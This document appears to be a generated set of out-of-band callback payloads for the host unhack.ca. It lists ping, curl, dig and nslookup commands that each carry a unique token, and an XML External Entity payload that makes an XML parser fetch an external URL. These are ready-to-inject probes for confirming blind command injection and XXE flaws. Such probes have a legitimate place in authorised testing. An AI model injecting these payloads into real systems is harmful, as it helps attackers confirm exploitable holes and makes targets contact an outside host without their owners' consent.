$ ping -c1 -p 0072f2086be98bb4380cf2ed5f62f600 unhack.ca
$ curl http://unhack.ca/p/72f2086be98bb4380cf2ed5f62f6
$ dig 72f2086be98bb4380cf2ed5f62f6 @unhack.ca
$ dig 72f2086be98bb4380cf2ed5f62f6.ns.unhack.ca
C:\> nslookup 72f2086be98bb4380cf2ed5f62f6 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/72f2086be98bb4380cf2ed5f62f6">]> <foo>&xxe;</foo>